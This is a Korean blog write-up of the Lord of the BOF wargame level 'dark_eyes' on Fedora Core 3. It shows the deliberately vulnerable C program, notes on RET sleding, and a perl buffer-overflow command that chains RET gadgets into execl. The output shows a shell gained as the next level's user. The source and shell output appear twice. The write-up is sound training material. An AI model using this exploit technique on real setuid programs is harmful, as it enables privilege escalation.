[iron_golem@Fedora_1stFloor tmp]$ cat ../dark_eyes.c
/*
The Lord of the BOF : The Fellowship of the BOF
- dark_eyes
- Local BOF on Fedora Core 3
- hint : RET sleding
*/
int main(int argc, char *argv[])
{
char buffer[256];
char saved_sfp[4];
if(argc < 2){
printf("argv error\n");
exit(0);
}
// save sfp
memcpy(saved_sfp, buffer+264, 4);
// overflow!!
strcpy(buffer, argv[1]);
// restore sfp
memcpy(buffer+264, saved_sfp, 4);
printf("%s\n", buffer);
}
/*
The Lord of the BOF : The Fellowship of the BOF
- dark_eyes
- Local BOF on Fedora Core 3
- hint : RET sleding
*/
int main(int argc, char *argv[])
{
char buffer[256];
char saved_sfp[4];
if(argc < 2){
printf("argv error\n");
exit(0);
}
// save sfp
memcpy(saved_sfp, buffer+264, 4);
// overflow!!
strcpy(buffer, argv[1]);
// restore sfp
memcpy(buffer+264, saved_sfp, 4);
printf("%s\n", buffer);
}
RET Sleding을 하라고 한다.
RET을 여러번 실행시킴으로써, esp와 ebp를 끌어올릴 수 있다.
(RET을 여러번 함으로써 esp를 끌어올리고 새로운 함수로 진입한 뒤, mov %esp,%ebp(esp -> ebp)를 해주기 떄문)
Fedora Core 3에서는 EBP를 기준으로 인자 참조를 한다.
execl의 주소는 0x7a5720 이다.
페이로드의 양쪽을 더블 쿼터로 묶지 않았을 때는 Segmentation Fault가 발생했다.
내가 알기로는 strcpy는 \x20에 영향을 받지않는 것으로 알고있었지만 양쪽을 더블쿼터로 묶는 순간 execl이 정상적으로 실행 됬다...;;
""과 NULL은 다른듯하다.
execve
[iron_golem@Fedora_1stFloor ~]$ ./dark_eyes "`perl -e 'print "a"x268,"\xb9\x84\x04\x08"x3,"\x20\x57\x7a\x00"'`"
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa?燎?퉬퉬 Wz
sh-3.00$ id
uid=502(dark_eyes) gid=502(dark_eyes) groups=501(iron_golem) context=user_u:system_r:unconfined_t
sh-3.00$because of you
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa?燎?퉬퉬 Wz
sh-3.00$ id
uid=502(dark_eyes) gid=502(dark_eyes) groups=501(iron_golem) context=user_u:system_r:unconfined_t
sh-3.00$because of you
'Wargame > LOB (Fedora3)' 카테고리의 다른 글
| evil_wizard ->dark_stone (0) | 2014.02.24 |
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| hell_fire -> evil_wizard (0) | 2014.02.20 |
| dark_eyes -> hell_fire (1) | 2014.02.20 |
| gate -> iron_golem (0) | 2014.02.20 |
LOB20_remotebof_sc_bruteforce.py
